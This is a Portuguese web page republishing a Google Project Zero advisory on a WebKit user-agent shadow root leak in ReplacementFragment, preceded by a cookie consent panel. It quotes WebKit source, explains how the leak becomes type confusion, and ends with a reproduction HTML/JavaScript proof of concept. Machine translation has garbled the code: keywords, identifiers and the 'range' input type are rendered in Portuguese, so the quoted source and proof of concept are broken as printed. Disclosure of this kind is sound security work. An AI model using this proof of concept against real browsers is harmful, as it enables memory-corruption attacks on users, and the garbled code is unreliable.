Personalizar Preferências de Consentimento

Utilizamos cookies para ajudá-lo a navegar com eficiência e executar determinadas funções. Você encontrará informações detalhadas sobre todos os cookies em cada categoria de consentimento abaixo.

Os cookies categorizados como "Necessários" são armazenados em seu navegador, pois são essenciais para ativar as funcionalidades básicas do site.... 

Sempre Ativo

Os cookies necessários são essenciais para ativar as funcionalidades básicas deste site, como fornecer login seguro ou ajustar suas preferências de consentimento. Esses cookies não armazenam dados pessoalmente identificáveis.

Nenhum cookie para exibir.

Os cookies funcionais ajudam a executar determinadas funcionalidades, como compartilhar o conteúdo do site em plataformas de mídia social, coletar feedback e outras funcionalidades de terceiros.

Nenhum cookie para exibir.

Os cookies analíticos são usados para entender como os visitantes interagem com o site. Esses cookies ajudam a fornecer informações sobre métricas, como o número de visitantes, taxa de rejeição, fonte de tráfego, entre outros.

Nenhum cookie para exibir.

Os cookies de desempenho são usados para entender e analisar os principais índices de desempenho do site, o que ajuda a oferecer uma melhor experiência de usuário para os visitantes.

Nenhum cookie para exibir.

Os cookies de publicidade são usados para fornecer aos visitantes anúncios personalizados com base nas páginas que você visitou anteriormente e para analisar a eficácia das campanhas publicitárias.

Nenhum cookie para exibir.

WebKit – User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment

WebKit – User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment

<! –
DETALHES DA VULNERABILIDADE
editando / ReplaceSelectionCommnd.cpp:
“ “
Ref <HTMLElement> ReplacementFragment :: insertFragmentForTestRendering (Node * rootEditableElement)
{
titular automático = createDefaultParagraphElement (document ());

holder-> appendChild (* m_fragment);
rootEditableElement-> appendChild (holder); // *** 2 ***
document (). updateLayoutIgnorePendingStylesheets ();

titular do retorno;
}

[…]

ReplacementFragment :: ReplacementFragment (documento e documento, fragmento DocumentFragment *, const VisibleSelection e seleção)
: m_document (e documento)
, m_fragment (fragmento)
, m_hasInterchangeNewlineAtStart (false)
, m_hasInterchangeNewlineAtEnd (false)
{
if (! m_fragment)
Retorna;
if (! m_fragment-> firstChild ())
Retorna;

RefPtr <Element> editableRoot = selection.rootEditableElement (); // *** 1 ***
ASSERT (raiz editável);
if (! editableRoot)
Retorna;
[…]
RefPtr <StyledElement> holder = insertFragmentForTestRendering (editableRoot.get ());
“ “

html / shadow / SliderThumbElement.cpp
“ “
Const RefPtr <HTMLInputElement> SliderThumbElement :: hostInput ()
{
// Apenas HTMLInputElement cria instâncias SliderThumbElement como seus nós de sombra.
// Então, shadowHost () deve ser um HTMLInputElement.
retornar downcast <HTMLInputElement> (shadowHost ()); // *** 3 ***
}
“ “

Percebi esse comportamento quando estava depurando o caso de teste para
https://bugs.webkit.org/show_bug.cgi?id=199146. Quando o elemento atualmente focado é um <input>,
`selection.rootEditableElement ()` em [1] pode apontar para um nó dentro do user agent do <input>
sombra da árvore DOM. Em seguida, é chamado `insertFragmentForTestRendering`, que pode ter efeitos colaterais,
por exemplo, se o fragmento inserido contiver um elemento <iframe>, seu manipulador “onload” será chamado
de forma síncrona e é possível alcançar o objeto raiz de sombra do agente do usuário seguindo o
cadeia ancestral do <iframe>.

Quando um invasor tem acesso à raiz de sombra, ele pode usá-lo para vazar outros elementos que são apenas
destinados ao uso interno e possuem verificações de segurança menos rigorosas. Por exemplo, `SliderThumbElement`
não verifica se o elemento host é um <iframe> em [3], para que o invasor possa transformar esse bug em um
vulnerabilidade de confusão de tipo.

VERSÃO
Revisão do WebKit 246194
Safari versão 12.1.1 (14607.2.6.1.1)

CASO DE REPRODUÇÃO
->

<body>
<script>
input = document.body.appendChild (document.createElement (‘input’));
input.focus ();
manipulador = evento => {
shadow_root = event.target.parentNode.parentNode.parentNode;
input.type = ‘intervalo’;
elt = shadow_root.firstChild.firstChild.firstChild;
input.remove ();
elt.remove ();
evt = novo MouseEvent (‘mouseup’);
div = document.createElement (‘div’);
new_shadow_root = div.attachShadow ({mode: ‘open’});
new_shadow_root.appendChild (elt);
elt.dispatchEvent (evt);
}
document.execCommand (‘insertHTML’, false, ‘<iframe src = “about: blank” onload = “manipulador (evento)”> </iframe>’);
</script>
</body>

<! –
INFORMAÇÃO DE CRÉDITO
Sergei Glazunov, do Google Project Zero
->

Compartilhe esse post

Posts populares